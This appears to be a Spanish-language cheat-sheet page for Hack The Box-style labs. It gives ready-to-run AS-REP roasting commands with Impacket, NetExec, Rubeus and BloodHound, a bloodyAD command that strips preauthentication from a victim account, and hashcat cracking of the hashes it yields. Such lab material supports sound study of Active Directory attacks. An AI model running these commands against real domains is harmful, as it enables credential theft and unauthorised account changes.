Kerberoasting y AS-REP Roasting: hashes de Active Directory para crackear 3 min de lectura Qué hace vulnerable a una cuenta, cómo pedir los tickets con Impacket, NetExec o Rubeus, cómo crackearlos con hashcat y los errores típicos (reloj, etype, nombres de usuario).

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

IP víctima Dominio Usuario Contraseña

AS-REP roasting

impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat

Crackea con hashcat -m 18200.

Usuarios AS-REP roastables (sin preautenticación)

MATCH (u:User {dontreqpreauth:true}) RETURN u.name

AS-REP roasting Atacante

impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt

hashcat -m 18200

Quitar la preautenticación (AS-REP roasting dirigido)

bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add uac victima -f DONT_REQ_PREAUTH

AS-REP roasting

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

AS-REP roasting

nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --asreproast asrep.txt

AS-REP roasting Víctima

.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

Cómo aparece en Hack The Box